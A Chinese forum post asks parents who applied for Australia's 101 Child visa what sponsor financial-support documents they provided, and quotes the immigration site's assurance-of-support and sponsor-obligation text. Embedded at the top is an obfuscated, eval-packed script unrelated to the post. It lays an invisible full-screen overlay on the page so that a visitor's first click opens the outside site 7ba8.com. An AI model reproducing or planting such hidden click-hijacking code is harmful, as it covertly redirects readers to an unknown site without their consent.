请教给孩子申请过101签证的同学

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>在翻阅移民局网站关于101签证的信息时发现下面的描述。就是担保人需要提供财力支持。有经验的同学，提供的都是什么材料？
而且看标黄的字眼写的，得等CO要求的时候再提供，会不会五花八门的要求啊。。。
Assurance of support
We might ask for an assurance of support for the child so that welfare costs for some migrants are not borne by the Australian community.Do not provide an assurance of support unless we ask for one and tell you what you need to do.
Sponsor obligationsAs a sponsor you must:

be responsible for the cost to the Australian Government of the child living in Australia

provide adequate accommodation and enough financial support to meet the child's reasonable living needs for their first two years in Australia

help the child settle in Australia

support the child to attend any required English language class.
You must tell us in writing if circumstances change in a way that could affect the child's eligibility for a Child visa, or your eligibility to sponsor the child.

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